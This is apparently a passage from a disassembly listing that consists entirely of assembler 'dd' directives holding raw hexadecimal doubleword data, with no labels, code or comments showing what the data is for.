		dd 310C1F5Fh, 0B1899519h, 0AC4A3C5h, 8C1AFB18h,	3CA50164h
		dd 0F023FF55h, 19004B32h, 0C78B6044h, 3DA6F338h, 0DB18367Eh
		dd 0BD0A3054h, 2D302314h, 161A1E98h, 3B00BA5Fh,	8F216631h
		dd 209010h, 0F00E07DAh,	3798ED51h, 0DE613410h, 86A33104h
		dd 0D5491F99h, 6F18A34Ch, 96EC35Eh, 85AB3399h, 859C70A4h
		dd 2A182268h, 88B04041h, 81608241h, 0E2C45E5Fh,	0FDCC485Dh
		dd 0E18F1C00h, 58015476h, 0A3384C10h, 0D6EA512h, 25288273h
		dd 199DE090h, 0B4CB10C3h, 779FC1C0h, 0CD85E05h,	4E9183B0h
		dd 3471E090h, 5930B67Ch, 0A32D18FDh, 0D80F4C76h, 0F0FCBE00h
		dd 5ACE22FAh, 9FF78F24h, 0EABCA306h, 565000B9h,	0C1E359B8h
		dd 0CCA81E17h, 3D888F34h, 3890B6h, 1EB4CEEh, 0F937C37Ch
		dd 83344201h, 2B32A6B3h, 55C290E3h, 99F0C0B8h, 335E6EA4h
		dd 1EB8FB4Ch, 3C095405h, 0F68C00ADh, 902ADAA3h,	2F400620h
		dd 387E68C2h, 4532FA1Fh, 0C1E1D830h, 4C9D4D48h,	753312h
		dd 0D014392Ch, 0BDE984A3h, 717F48E0h, 0B633CB09h, 807429EAh
		dd 5E7F1144h, 13777F3Fh, 421C19F6h, 0D428DDB4h,	61F8D844h
		dd 0AC188F67h, 0A0CDA353h, 0F0759B99h, 0ED200F2Dh, 599FD17Dh
		dd 64F9B03Ah, 130D0608h, 10F7A038h, 33339818h, 0D388843Dh
		dd 8445C83Eh, 9F0BC65Eh, 26220888h, 61F072E6h, 34C2A7A3h
		dd 12FC34B4h, 0D9DE4000h, 0FCE3F090h, 3871182Ah, 0E1DF50E0h
		dd 6C199F1Eh, 15807037h, 81BE92h, 0E81A0366h, 8E540E89h
		dd 64993403h, 0AFD326Eh, 0F4A327A0h, 33B9839Ch,	9000DCBFh
		dd 5131FB19h, 1E68E94Eh, 0C7CC24Bh, 44185D2Ch, 73C07B00h
		dd 939DCA0Bh, 67CC004Fh, 10D6D4A7h, 5E045271h, 4D46BA15h
		dd 0BED9C0D1h, 0FE5DB048h, 9F260F1Bh, 473DE88Fh, 0C0AA81A9h
		dd 8E947B18h, 3A00AEF8h, 0D329B99Ch, 26EC706h, 32525947h
		dd 289A8405h, 99C38055h, 4CE73360h, 0DB0F24B9h,	0B04E5A4h
		dd 1949523h, 0CC1DDA4h,	31682411h, 9A0B1384h, 0B098267Ch
		dd 13C365Ch, 0B5BDDB06h, 10809772h, 87CC28D0h, 7D642C33h
		dd 0D6803C30h, 91209AFCh, 89C0AA4h, 8EF90CA8h, 2C484710h
		dd 0AD5D0014h, 8B6AA6B6h, 34055C9Bh, 0D8C8D734h, 4A31A34Ch
		dd 8E754017h, 9217A1A8h, 0F8874830h, 0C5C7B3Ch,	2B06A453h
		dd 381A2AA3h, 62F8F778h, 7FAC60D4h, 88356541h, 81A6005Dh
		dd 0C21A08F8h, 7008CC24h, 70E31CF9h, 0EFC1E670h, 309C2D51h
		dd 33016AECh, 0A98BAA4Ah, 0AF70F134h, 0C1BD3F87h, 0B7CBD883h
		dd 0B0E76B4Bh, 0AF3D698Ah, 89C0D900h, 614CF29Ah, 50355C3Bh
		dd 19B01330h, 0A0CFB4FCh, 1E0C7F74h, 0F0F8ACh, 11BA9B3Bh
		dd 0D09DC18Fh, 5DE7A0C2h, 0D85E6372h, 30788E77h, 0EC78D69Fh
		dd 8918C7A6h, 9E603A59h, 6724A06Fh, 33BE0A20h, 2BA44E96h
		dd 100C2C20h, 9C038AC7h, 0C3322E00h, 90B8A333h,	2A290428h
		dd 0D74B9019h, 0C200BFE8h, 0F1277504h, 18C1843Eh, 12408B01h
		dd 0F49D4C0Ch, 0DB8F32C2h, 28E6D440h, 0DC1A020Fh, 76F847E2h
		dd 60C633C2h, 884A69B4h, 0DA00912Fh, 0B08BB3F4h, 34DF135h
		dd 79E287AAh, 0AAC7B159h, 142C08h, 0A6337EE9h, 0FBF83DBBh
		dd 4751391Ch, 0C1CB5A82h, 5F98688Bh, 0E2710068h, 84B4753Bh
		dd 1CCF8E92h, 88576B32h, 10AAB028h, 0EBC098AAh,	98BA52E1h
		dd 0C07C502h, 0E0B66B1Ch, 5D2628Ch, 8B1970F4h, 0DB8C00DDh
		dd 3FF03E0Dh, 4A60294Ch, 51100Fh, 0CDEB3135h, 0B7750486h
		dd 4165333h, 0B0A66DBh,	76DC89B4h, 11FE3822h, 8B013CC5h
		dd 0CE2C229Ch, 80969434h, 1980B106h, 24B64818h,	22E10300h
		dd 28859632h, 49BBC500h, 76D15D3Ah, 0CF70EFE6h,	88BA5DE7h
		dd 7C414C4Dh, 0F733D400h, 2058BA75h, 37004D1Dh,	4BCC3FF1h
		dd 0C347102h, 0C027192Fh, 97281470h, 7000905Eh,	0D98BF245h
		dd 0C446C7h, 2FF186A1h,	8FF56BD4h, 729F9904h, 548012DAh
		dd 794F793Eh, 32661D3Ch, 5CC28951h, 0F7381C21h,	24677Eh
		dd 0C17DC44Bh, 0F413DDh, 33FC756h, 0C3D9E629h, 67F623Dh
		dd 1A381939h, 2AE20130h, 479A8CD2h, 0C4EA307Bh,	57B3B0C2h
		dd 118EA2Ch, 172233B8h,	84BD8C24h, 0DE88B0B1h, 980B098Dh
		dd 60525499h, 0F12599CCh, 0D268914Eh, 147BF864h, 0A887E43Ah
		dd 588E4C76h, 44A3D061h, 325800E3h, 583490E0h, 0B788409h
		dd 0B7D02952h, 500E0B8Bh, 0F0C0D440h, 9096DE54h, 7091CD07h
		dd 2D4825Bh, 4F5902D2h,	2DE210E8h, 0C150312h, 414B08CCh
		dd 90D4358Dh, 7406BB10h, 5097872Bh, 5C785F74h, 8303D59h
		dd 1A5F2C1h, 10344991h,	2F50823Bh, 0DBE5A3h, 6D666355h
		dd 9B09C400h, 0C789757Bh, 5420FFA9h, 4CEF0932h,	2C0F4D59h
		dd 847928B0h, 2017D092h, 44446F3Fh, 11043384h, 5F70E087h
		dd 0B6323090h, 69DE1880h, 5EF009C4h, 9220BA74h,	313563E8h
		dd 0FA97F92Ah, 685C3F7Ch, 3DDCBC4h, 0C3C2B90Ah,	1371040Bh
		dd 84F734A8h, 0C108D0A4h, 789047A5h, 0C9DF6709h, 0C71880E7h
		dd 3092A629h, 43D411DBh, 0C432A338h, 0C0F760B8h, 12F93044h
		dd 0C8C0DA2Ch, 64814C7Ch, 42156106h, 13CC998Eh,	10001ECEh
		dd 0BB9524EBh, 0D58C2619h, 3632015Fh, 74901CA3h, 0C6033080h
		dd 81D16D5Bh, 8248C28Ch, 874D3408h, 0B02A89D8h,	0CCA1E528h
		dd 0C2982465h, 94E05882h, 19990230h, 0CC5122B5h, 5AC0E804h
		dd 3E9F0290h, 2886031Bh, 14AEC4D4h, 0F61719D8h,	0DD9530C1h
		dd 0C081FE37h, 7F49ED2Fh, 9E8470F3h, 454AB800h,	28F92C19h
		dd 84BC53DAh, 95F3016h,	4418ABECh, 9B00E72Dh, 13698D3Ch
		dd 37535B6h, 504E640Bh,	6040C273h, 59273308h, 0B2D41069h
		dd 0E0474968h, 0DC84D448h, 74DC1291h, 44C4AA3h,	0E235EFACh
		dd 74032E44h, 0FC87C106h, 183F9828h, 38590434h,	0CCCAFB0Dh
		dd 0BB929437h, 0E45D2832h, 5B332E4Ch, 443D97B8h, 902E2CF4h
		dd 0ED19384Ch, 42E63C92h, 0D5AE3D1Eh, 3387B4E6h, 17F5192Bh
		dd 0E68EC462h, 0A26039C8h, 31638A82h, 880C20Ch,	2B499832h
		dd 0EC6739CAh, 2D15BF13h, 6CA31664h, 0EC90849h,	0D347DD58h
		dd 3860FB86h, 18B5F54Eh, 0E8769533h, 0C859A342h, 138C40FCh
		dd 0A8931D00h, 0C4B9140h, 0A02700CCh, 1BFB8984h, 9BE47931h
		dd 8D3D3318h, 0AA5AF8h
		dd 26361A5Dh, 8F85E050h, 3D43B200h, 0CD90287Bh,	0AD293E40h
		dd 0DCC30576h, 0C86C052Fh, 0F420B2FCh, 9AC1132Dh, 0F3FC46CAh
		dd 2528C886h, 0E753DC32h, 4300778Ch, 0FB75A1B6h, 2E6AA216h
		dd 3C148417h, 28082E28h, 1214C10Bh, 909EF335h, 63AD4214h
		dd 0CC4F1D0h, 10A34CC1h, 0E2491D5Bh, 0B273C299h, 2871792Dh
		dd 30B51302h, 5EC5E1C8h, 0E5A78C70h, 34362081h,	60B25C19h
		dd 289EE32Ch, 805C8F27h, 2A98B9F1h, 0A2970344h,	7959B437h
		dd 0D055C9B1h, 0B53A326Fh, 26890068h, 0C166DF29h, 8E625899h
		dd 1A2DFA00h, 0A6AEA5Eh, 82CF9800h, 3F030FBEh, 662100E0h
		dd 332CCA56h, 421C02C0h, 18BB607Bh, 2E4164EAh, 4E260062h
		dd 27970ABCh, 7E7AECC9h, 0BF500BF8h, 0A030A208h, 4AEF98AFh
		dd 617237h, 0C03885E3h,	19A312FAh, 47F021C0h, 6074C6h
		dd 3F5A32C4h, 2AA01133h, 0FA23451Eh, 0DD7A0F80h, 3CB0A84h
		dd 6341B7D9h, 0E3E9C140h, 0D8E880F0h, 0A87AB2BCh, 44181468h
		dd 0DF008485h, 451B70C0h, 6600D1D3h, 222C3198h,	195D62h
		dd 4E3540BAh, 3D1BDE01h, 0DF6458h, 0CAD95C82h, 0E1536Dh
		dd 9930F38Ch, 332E7AF5h, 706B6330h, 0EBA1Eh, 238CD88Eh
		dd 7054795Dh, 75DF6101h, 7D9E0A53h, 159289Ch, 8BC06D73h
		dd 2D108ABBh, 10209CC6h, 8E16FC0Ch, 10E538DAh, 10A042C0h
		dd 40746398h, 973CCDC9h, 18662032h, 2118A990h, 5E0E112Ah
		dd 884DF05Dh, 32410679h, 23138B4h, 56D0286Bh, 0E3291087h
		dd 862782DBh, 8DEA3001h, 8A6FC440h, 0E6A20FD4h,	0EE005A0Dh
		dd 7B4C5E32h, 85886D00h, 5D657853h, 3E7DF0F6h, 410A8302h
		dd 9F586F7Ah, 8680ABDEh, 60D8FE21h, 828DF83Dh, 5C32C72Dh
		dd 0A5DCA384h, 0C21A673h, 5B047D9Dh, 0BE54EAB0h, 7B614160h
		dd 0DE16A251h, 0E12F6411h, 0B00FE77Fh, 47D7E2Ah, 8891DB45h
		dd 12007B69h, 0C1005D86h, 147E8403h, 988EE09Bh,	1E130064h
		dd 827B58B4h, 0D800E424h, 729ED1C6h, 36F068h, 0B50F46AAh
		dd 8B78A229h, 343979C7h, 0A12BC82h, 0C690060h, 0A958C815h
		dd 0E0D8C51Fh, 0A066F8CCh, 38AD60B4h, 38C0D9C9h, 3C481749h
		dd 3213024Ah, 80CB8A18h, 7EC44BE4h, 2F5E8F0h, 0C0952CC5h
		dd 3107805Ch, 6133A952h, 0D0BF1094h, 0A2B91206h, 78056105h
		dd 46FD6349h, 0BD2AA841h, 0F8802E75h, 81017D96h, 8330A22Bh
		dd 6157209Fh, 91580086h, 18C406D8h, 98A06503h, 0E0A49C0Ah
		dd 0CC40A275h, 88AF2697h, 0A4318930h, 9389D000h, 1000DACAh
		dd 280A68B8h, 1E3CF5A2h, 9198D3h, 0E38BA3C3h, 77607AC0h
		dd 5131F950h, 0F9F789Ah, 0BF66C409h, 0FB9D640h,	13008D88h
		dd 4C08DA91h, 28C1514Fh, 18981085h, 585CB5A2h, 670A4EF0h
		dd 0CCD7197Fh, 9752608h, 3C0708C6h, 0AAE518h, 0A0E0DDA8h
		dd 8C914CF0h, 10C0D809h, 9085F238h, 0E0FA2018h,	144AF028h
		dd 73BAD600h, 185D660Ch, 8C2B54D9h, 0C21E01C7h,	1B213D0Eh
		dd 0A5F80176h, 0DF724888h, 5E109106h, 808AE638h, 7D05E2DDh
		dd 7E0FD753h, 9BFAAC40h, 69A5D6Dh, 7A320452h, 0B3F810C3h
		dd 0C0810CA4h, 87BE03CBh, 58A14Ch, 0C34AC6B8h, 37D4187Eh
		dd 3A827881h, 944C32CBh, 80DFD084h, 9FE0DBC8h, 70812C90h
		dd 88B6CBC0h, 9A04D402h, 60AE2B0Ch, 71554Ch, 485AA0A9h
		dd 0BDA2D8E1h, 6BD14003h, 188C4A18h, 0D0DEAB40h, 0F416232h
		dd 74207161h, 0B0BD52D8h, 0F05F026h, 2640A31Ah,	2986C3D4h
		dd 63602C0Eh, 3D49032Fh, 0B0800A7h, 9FC269A4h, 5932A28Fh
		dd 60EE40ACh, 4C1C2168h, 0A2C32092h, 211ED7BBh,	94185E33h
		dd 505831h, 6AA7A4D9h, 36182357h, 4900E54Dh, 837D2490h
		dd 8D9EA707h, 0E23E01EFh, 0D2F08411h, 38F8984Dh, 7CC897C0h
		dd 38005B89h, 5835EEE9h, 0C7128F1Fh, 18302D24h,	3A62AB93h
		dd 410F6DCFh, 0E00A9D11h, 0AECE8A8Ch, 302C06C0h, 0F10E20C0h
		dd 41596637h, 6761C981h, 3E1CB60h, 4EC8308h, 0E8F6DE9h
		dd 0FFEA3100h, 0CF42434h, 0F7EEE176h, 8104D967h, 529DF2A0h
		dd 41D8E501h, 5934CF53h, 0C5AE486h, 0FC00903h, 72F44884h
		dd 2877193Ch, 0CB896955h, 22515A18h, 0F7C5812Eh, 871F0AB8h
		dd 95C812Ch, 868B1C6Fh,	845FE90Eh, 63DAE91Eh, 0A055638Bh
		dd 8398148Bh, 520504C4h, 0C281E289h, 8C062710h,	0D8312A33h
		dd 515C0D06h, 2076B90Fh, 0CA29C196h, 70880C8Bh,	0F077977h
		dd 7383C8AFh, 0BD7218D9h, 0E8214F01h, 89519FC0h, 6674E9E1h
		dd 32011A91h, 0E5FBB30h, 14501C04h, 45055854h, 1B067668h
		dd 0DFFB2E29h, 28F601Dh, 0EF7AFCCh, 3A60D189h, 5DEB3074h
		dd 26BF683Eh, 8081B63Ch, 4FE05449h, 0C061DFE9h,	431EBD28h
		dd 890F6C94h, 0DD425DEAh, 0B91C1498h, 0D9B50918h, 0EA003196h
		dd 0E95BDD01h, 203A4E34h, 0C381A545h, 0C1C9C32h, 0A931E906h
		dd 68669CEAh, 89D146EDh, 0E0B59A40h, 0E9EE0A88h, 0B4E50302h
		dd 68924632h, 89514F50h, 57D401BDh, 3D12F056h, 0E9530304h
		dd 5B0F39C1h, 28822D7Bh, 248A1541h, 7D6C3318h, 22681045h
		dd 94886B6Fh, 0A30615ACh, 5847E903h, 59B804EFh,	90492886h
		dd 0E1CAF15Eh, 9B5CF14h, 35EA6080h, 0FE854988h,	0D7BA3ECh
		dd 7E4868D7h, 81C3DF11h, 92127A41h, 3632C13Eh, 998711E9h
		dd 89348B3Eh, 0F88447h,	7AEA51EBh, 387A428Fh, 0C0A06D0h
		dd 3E31F1E9h, 1D5C935Ah, 80BA483h, 5D01EF16h, 5E7C14Fh
		dd 0C6DC80E8h, 24886414h, 24D3FA20h, 3D49E389h,	71376840h
		dd 46A20A15h, 2DE4260Ch, 0C4817AA8h, 746839A0h,	0CD76C53h
		dd 2CFA10E9h, 0F7F11E87h, 0B18355D6h, 0B0D7891Bh, 152A8AD8h
		dd 0F8016513h, 4FB11E21h, 0D0D89724h, 0BD100D15h, 32F87366h
		dd 8FD59DF0h, 0CA011540h, 0E956C14Ch, 0CA1278Fh, 23EB8927h
		dd 0BCC15F1Bh, 8B5324F6h, 0D9291692h, 5489EC55h, 0E1DC2859h
		dd 2E255CF9h, 9314B502h, 493F7C0Ch, 1E57CF2Fh, 0BBA9B40h
		dd 26595271h, 0C15AE601h, 5EDA41E6h, 23C1527Ah,	65ED8122h
		dd 54453080h, 76776E9h,	97630F3h, 665C2635h, 0D2AA4FA4h
		dd 63E593FBh, 586383A6h, 0E54AE953h, 0E71F615Eh, 0D83136F0h
		dd 0C3890F5Bh, 7C865558h, 0BA182875h, 35AB03FCh, 200AD82Ah
		dd 5F802C9Ch, 0DFFA5401h, 167B4C21h, 0C6FC0DA6h, 5C1C8566h
		dd 1BB800B1h, 0F7708F66h, 0A10435D0h, 50E97EFAh, 91FBAF93h
		dd 60201E86h, 0FFEB8358h, 32FEDFB7h, 0C0C6D16h,	0B8104034h
		dd 0F3643E0Dh, 0FF80E878h, 5394CD80h, 0FE075EB7h, 6E7C0C7h
		dd 9581EF34h, 5E05DE12h, 0A25D15D2h, 685F5402h,	2D66393Bh
		dd 2D796A1h, 32BF60ADh,	76422603h, 55900F5h, 405E49A5h
		dd 713BC7EAh, 0D8287DF7h, 0E918072Dh, 35504B70h, 1C7200F1h
		dd 1F3C2527h, 0D13E1321h, 8B0202E8h, 82010990h,	40EB83C4h
		dd 0D51E3264h, 52A75338h, 0CD90536Eh, 94913F24h, 1356708h
		dd 5A696857h, 4F5FCCD6h, 8B85000h, 1FB7F4Ah, 89581FC7h
		dd 0E9AC79FDh, 31EA42B7h, 0E10FF605h, 0D1CEA59Ch, 0C18009h
		dd 81DDF729h, 7A6B02F5h, 93E9915Ah, 0FA88CD64h,	66811890h
		dd 0F810A962h, 5A5D2C12h, 99322903h, 7E26E13Eh,	0FEC42204h
		dd 0EA81FAA0h, 3EE063B8h, 8863CC99h, 590A90C1h,	7FE9345Ah
		dd 0A15BD99Fh, 62899366h, 5D1B9967h, 3C11434h, 0F74D07E5h
		dd 0D20045D5h, 86306F94h, 808CF4E9h, 5D13E801h,	46741C8Bh
		dd 9C444A34h, 68002977h
		dd 66B7C10h, 2FB5E48h, 0EDF68102h, 0E947606Ch, 76A2B27Eh
		dd 60923151h, 800DD335h, 0BF243C4Fh, 63C56758h,	1C69CA7Ah
		dd 0D1E916B8h, 2BA8040h, 0A4227A4h, 8383D029h, 1A07473Bh
		dd 0CDCE814Eh, 0B034C9F3h, 2C694CEEh, 322265ACh, 0C8642965h
		dd 676B5B52h, 0E396E915h, 0EF010FA2h, 0C726575Dh, 0A8A0224Eh
		dd 0FA01886Fh, 80C2FE5Bh, 69091EAh, 0E95905BFh,	0EA3463ABh
		dd 5302C28Ch, 57489830h, 0BF575600h, 118275D0h,	83C9FEF8h
		dd 0AAE5905Fh, 5234C032h, 6B7090BAh, 0F2811603h, 4435F4Ah
		dd 101AEEECh, 0C148C46Dh, 2712E4Dh, 200046BDh, 12456B3h
		dd 3601A6C1h, 5829472Eh, 0F91A8732h, 28E6B451h,	967C15Ch
		dd 1B731768h, 4937D13Eh, 9607CB22h, 0B30B8633h,	651E7BF2h
		dd 0C8F35BDEh, 0D066831h, 391018BFh, 4C24DBC7h,	0EF020DA6h
		dd 60446E65h, 8113F068h, 6354D968h, 0C3502426h,	17D00B08h
		dd 0C166405Eh, 42433276h, 0E6CE8920h, 14DCE08Eh, 8FE6D141h
		dd 657FC601h, 0D1E9254Ch, 0D48B2949h, 109443B4h, 5A4837E3h
		dd 1974647Ch, 0B803D104h, 68FD3483h, 35C601ECh,	21B50653h
		dd 93BE52F1h, 1B44FCDBh, 74C005E0h, 7714D25h, 932D58BBh
		dd 0E9D420B9h, 28C2CFD9h, 405FFE09h, 0F27BF396h, 0F2011477h
		dd 878C585Eh, 0F541AD5Dh, 0B2419833h, 2568E6CCh, 0C187546h
		dd 0D040E1Dh, 632BE94Eh, 7C296602h, 5FAB29C3h, 0A228B4E1h
		dd 74E6D533h, 8344BC99h, 0A3841814h, 40991E26h,	1541B8BFh
		dd 57624401h, 6CDC313Fh, 3E2C1C2h, 0D584BA80h, 579F460h
		dd 2B7F0714h, 7E0C20D0h, 15A0331h, 0CA875DEAh, 0A4E279E9h
		dd 0A809ED46h, 53AEB088h, 58643168h, 0F2D48Fh, 24F9315Bh
		dd 4F673C8Bh, 3BD8B7CEh, 88395152h, 59EE07FDh, 0A9F2CEFEh
		dd 20026C25h, 2ED4D60Ch, 800820A1h, 7BD55E3h, 1777A2BEh
		dd 0D8E48F29h, 0F902913Dh, 63056316h, 58D409B0h, 64B6B848h
		dd 0D2C3F658h, 0AD657D52h, 0E5CD8081h, 12EFEF34h, 733A8Ch
		dd 7CFAC712h, 0CC06B35h, 9E2FD78Eh, 3D8F61E9h, 0CC20E480h
		dd 881F32F4h, 85298BE5h, 9FE8280Ah, 4FD96841h, 0A2594B37h
		dd 625AE982h, 0B7BEABC8h, 12245212h, 7495AC01h,	41303275h
		dd 37763B39h, 5EF02904h, 0E9448156h, 4DF879Ah, 0C20F5948h
		dd 6666232Ch, 24025932h, 510E9AD0h, 2E20B3B1h, 2881EB80h
		dd 0C375CB75h, 0FB125967h, 0FFC0F3C3h, 2EA2C6h,	0FED9F629h
		dd 0D1B353C1h, 7F2FE917h, 9E2D9253h, 0A784C304h, 2C1018Ch
		dd 1C586C79h, 67AD101h,	12DC9E27h, 8629C1B4h, 0D1E01843h
		dd 80ED195Bh, 5C8CFD76h, 2A09B571h, 7EB8853h, 0CA55D93Ah
		dd 22EC1381h, 1316BE00h, 0A5299128h, 0C3C74E1Eh, 409DDCBBh
		dd 1A1267FAh, 0A7053FD8h, 0C6573B1Dh, 0F95E094Ah, 64D26E32h
		dd 0CD773154h, 2C565FB8h, 5EC106BCh, 0C4CD09EBh, 744B37Eh
		dd 4B74EA29h, 0D22CD7E1h, 87320543h, 0AD822161h, 61090812h
		dd 6BA842D5h, 478B0942h, 98F38BEh, 0AD6C24FAh, 78B8B980h
		dd 0A74F092Ch, 8A952312h, 8BB60601h, 0E740DEF6h, 692DE961h
		dd 21662041h, 504DE3E6h, 151C9733h, 885302CAh, 3B595B44h
		dd 8AA2EAD3h, 1C59CCEDh, 58250C10h, 9E50A686h, 102D050Bh
		dd 85CA840Dh, 2E875809h, 3C3EC0C7h, 0C15C435Bh,	0E9EA74ABh
		dd 0AAA5AE6Ah, 0C33107B1h, 68A0C33Ch, 0C99B5342h, 3C92AF29h
		dd 0B1953258h, 0B112B4CFh, 92F1A5A5h, 88C11C21h, 81035A8Dh
		dd 0D11574E8h, 0CC736249h, 650B3A3Ch, 0C0DF1178h, 215B5F2Dh
		dd 3002F349h, 0DB09B35Eh, 72852E0Fh, 0D83FA0ACh, 0C0E90DA8h
		dd 2E9C6A4Dh, 0CC15DA59h, 99B902DFh, 781AEF05h,	4C8D20FAh
		dd 75345376h, 0FFB30C1Dh, 1358011Eh, 55464215h,	2B605D54h
		dd 0C824026Dh, 9F3D8060h, 31A66715h, 9F12EC00h,	16F501F4h
		dd 2969C3E9h, 763E8FDFh, 0F763E275h, 0C89EC3D6h, 0EC68EB11h
		dd 3FA07EE6h, 0DE267D04h, 0FF50CC6h, 0F04C3038h, 4FC79344h
		dd 4358AE2h, 0EB38C3FEh, 0F1B72CF9h, 6045756Ah,	285C71EFh
		dd 56EB72FAh, 0FE313AA4h, 0D3C4232Dh, 0B12C01E0h, 49B7A825h
		dd 804C3F50h, 9B25083Ch, 8401D385h, 90E2C975h, 27A0A3Ah
		dd 20A9BB53h, 7B407843h, 1A0B4C86h, 294FE91Eh, 55E024CEh
		dd 0A9F3D9C4h, 59CD0103h, 13CDC583h, 94C082Dh, 0F851E90Fh
		dd 0D7F70Ah, 0EB81FB87h, 0CB5DFD6Dh, 0F34913FEh, 0D8EA00E9h
		dd 316849EEh, 58E2FAD0h, 287E5D6h, 2C5AA128h, 81C0C203h
		dd 0E9930938h, 328DD92Ch, 5264ECBh, 0B2905848h,	0C328F201h
		dd 2569E950h, 0E4BD6074h, 5BCB086Ah, 610C8520h,	0AC0B0352h
		dd 65210237h, 0D211E932h, 0B1A67379h, 729B30B0h, 9D1A500Ch
		dd 0F93904D4h, 82C32945h, 90081F23h, 3D330208h,	45437692h
		dd 0D84E17D5h, 4840EB85h, 0A65F6558h, 2CBE4B64h, 0CABF2C98h
		dd 98A38DAAh, 27218727h, 55AC911Ch, 22C93EDh, 5CC262D4h
		dd 8B3D42F5h, 80C58165h, 25E1C0EEh, 0E766C953h,	0A940E1F5h
		dd 7F6176BAh, 0F2810030h, 5AF538CAh, 0EC9A49E9h, 0A6F2EDF6h
		dd 9691B09h, 323CC0EBh,	0E15625A1h, 8031D205h, 483D2D32h
		dd 942FBA3Dh, 500705F8h, 4DC02BE8h, 1F57B8F1h, 0C8892E74h
		dd 0C90949BCh, 9BB43A6Ch, 8908E9E1h, 8724573Dh,	1510A483h
		dd 846F8748h, 134218A9h, 36B33DC0h, 0F3F2527h, 2F4501B3h
		dd 0F30F238h, 69311206h, 79BA0878h, 0D849AD1Eh,	9EBBAB51h
		dd 209BBAEDh, 11BF73Ah,	0D1065FFDh, 5B348AEEh, 0C0A50BB3h
		dd 318702E3h, 8CCC3EA1h, 6CBEB0Ch, 1CC7847Ch, 0E93894D9h
		dd 1E234E01h, 72C50174h, 0DFD01818h, 0BD55EFh, 231E7CA0h
		dd 0C3BF581h, 5DB424Ch,	8387FCDh, 9DCEED0Ch, 80680250h
		dd 581A4F0Fh, 6D21E58h,	18A41C06h, 0B4EB04DDh, 87694255h
		dd 0EE3FC0FEh, 21903158h, 4AC3ED76h, 9B2824BEh,	7C2BD110h
		dd 1AC1AF38h, 606EC821h, 0DE02EADDh, 0DCE99137h, 0B1660406h
		dd 0DE5AD2DDh, 4C303E20h, 111A685Ch, 0BDA32977h, 0A84A8950h
		dd 85441625h, 0D199F0DFh, 797F5436h, 62E594CAh,	7AE15456h
		dd 111251C6h, 0DCA77879h, 0A5F385B9h, 36C26203h, 0AC2448EAh
		dd 4ED85830h, 5110C930h, 0C0007FB5h, 0C58007EDh, 76EF0849h
		dd 4170E759h, 0AB2E6DA5h, 0A04ECB98h, 0F0E97161h, 0F71C543Ch
		dd 16EDA6DBh, 5A3FC2E3h, 0DA185A60h, 83E4BC9Eh,	0CB52AF1Ah
		dd 8E2ABE54h, 31444B4Eh, 88E57C47h, 0B00C2016h,	0AD14404Eh
		dd 66110507h, 2CB239F3h, 0B1DBEB34h, 7B72515Dh,	5C555922h
		dd 68E7CCF0h, 901AAA2Fh, 128CB818h, 24549251h, 21ED465Eh
		dd 0C648C7D6h, 701392B0h, 0A8842E24h, 0A6996048h, 180C3FB5h
		dd 0B03A399Ah, 911A0424h, 9903117h, 5F8E1EEh, 0E6C1BE3Ch
		dd 82B3C008h, 654CF64Dh, 7C4F095Bh, 0E272028Ch,	0B0D84007h
		dd 0A0AD32BAh, 38000212h, 2D71AC90h, 0C28888E9h, 0E55808BDh
		dd 26BFE126h, 0B895D30Fh, 7CDC1255h, 54512F61h,	902C0BBFh
		dd 6A07A537h, 0B00A166Dh, 8F0B301Bh, 116BB0D2h,	2A569865h
		dd 24BB7E50h, 4BE5FFBh,	81793848h, 0BD883C24h, 0D47A81EFh
		dd 0DE89D810h, 0CC19B9F4h, 0F1EC337h, 110C2E7Ch, 0A28F6658h
		dd 9C758A3h, 807F13DEh,	5D0F71Eh, 3AC5950Fh, 2D3FFDD7h
		dd 0B56F001Eh, 3D5066D6h, 0FDBB0AB4h, 48D1F154h, 60B7625Ah
		dd 0CD7DCBE9h, 0C106717Ch, 14F12931h, 46E5080Ch, 9D001FBEh
		dd 142AF4Eh, 834D0F9h
		dd 0BE140C68h, 2C442052h, 0BB48E301h, 0F9F34955h, 1CAA499Eh
		dd 0C568D599h, 0C0137C76h, 8EAA8CAh, 3250E2Dh, 97A06EBEh
		dd 120A667h, 70985A2h, 0F9E939A3h, 0F601DFA6h, 0A71171D3h
		dd 0AA20F001h, 28214162h, 6804060Dh, 2A9D7BBCh,	0B02FC1h
		dd 0E2F381D3h, 29DBE7EFh, 6D5BD830h, 0CF7F3Ah, 218C2D47h
		dd 685A7D49h, 10101D27h, 24D8B921h, 8778234h, 11257CBh
		dd 25520E0Fh, 6D93C6BEh, 0CB7AB9EBh, 19008605h,	155895BCh
		dd 2C8D0B47h, 0B5C10BE9h, 0D6012A41h, 1A54B92h,	0B4DBEC30h
		dd 0D1880EE3h, 0CCC0F6E9h, 0D9D7B068h, 5501DB34h, 6801474Ch
		dd 0B2D39B44h, 3A63B95Ch, 697E0D33h, 558E9D5Eh,	6A450DE2h
		dd 480409F0h, 3123A612h, 0CD0139C1h, 122E9BD1h,	68DC3189h
		dd 548F937Ch, 0BF574544h, 164F49A2h, 74A10E36h,	632B8D33h
		dd 98543FDEh, 0B21E20ABh, 0CA8007B5h, 52DAF630h, 9CBB82E2h
		dd 79B03401h, 0D5E9C228h, 395E0E34h, 0D700DFF7h, 41A4CF81h
		dd 0ECED1E2Ch, 505C3A3Fh, 70241091h, 0DA099C4Ch, 0F2076C78h
		dd 6DD4DD76h, 95619208h, 684102BEh, 14A68BF7h, 20BD17DCh
		dd 7B3FC2B9h, 10F7709h,	85F88DAh, 59E95B02h, 20606426h
		dd 9E95FDA8h, 798741D6h, 99DB270Ah, 0B03C5945h,	0B8C08842h
		dd 7B3D5EDAh, 61418B8h,	16FEC083h, 38987441h, 2F949558h
		dd 6F942DFEh, 70C3B815h, 55430500h, 0F80162E4h,	8907A02Dh
		dd 79DCAA10h, 0A8B1646Bh, 0F75A3DD9h, 0B4879197h, 2468BA64h
		dd 61593B14h, 20555D53h, 5E0E603Eh, 52016C58h, 0E904191Fh
		dd 5C94ED41h, 832242ACh, 730594Fh, 0C15D40E9h, 926FCE5Fh
		dd 9DC9E96Eh, 258B5869h, 30CAEC20h, 5BE76FAEh, 704C1F44h
		dd 0BD680905h, 22F7323Dh, 4059C80Fh, 12C9C311h,	0C25F202Ch
		dd 0DEE8DB2Bh, 0B70E5366h, 0CEF830EDh, 0C788E75Bh, 9669FE27h
		dd 1CCEF6CFh, 12EDEE80h, 0FC4E14F0h, 9BDE070h, 4A587C62h
		dd 0A6375300h, 0D1A11286h, 8CE5897Dh, 0C1219B62h, 1223FBFFh
		dd 0C3A05A22h, 0F4C46AEh, 0F5C700DAh, 0E94A7475h, 0C1404087h
